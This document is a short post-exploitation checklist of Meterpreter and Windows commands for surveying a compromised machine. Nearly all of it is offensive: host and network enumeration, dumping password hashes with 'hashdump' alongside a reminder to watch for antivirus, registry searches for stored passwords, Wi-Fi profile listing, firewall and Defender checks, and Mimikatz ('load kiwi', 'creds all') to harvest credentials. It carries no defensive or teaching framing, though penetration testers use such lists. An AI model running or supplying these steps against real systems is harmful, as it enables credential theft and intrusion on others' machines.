Meterpreter Device Survey
#stdapi
#basic enumeration
sysinfo
getuid
ps
netstat
apr
ipconfig
pwd
ls
-------------------------
#carful av!!!
screenshot
hashdump
-------------------------
shell
dir \
dir \progra~1 \progra~2
dir \users
-------------------------
net user
net localgroup
-------------------------
net use
net view
net start
-------------------------
reg query HKLM\Software
route print
netsh wlan show profiles
netsh wlan show profiles
-------------------------
netsh advfirewall show mode
netsh advfirewall show allprofiles
netsh advfirewall show global
-------------------------
sc query
sc qc WinDefend
at
schtasks
driverquery /si
-------------------------
dir \progra~1 \progra~2 /s /b | findstr /i "item1 item2 item3"
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
-------------------------
#mimikatz
load kiwi
creds all
-------------------------
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\Software\Microsoft\powershell\<version>\powershellengine"
reg query "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\WinSock"
Last updated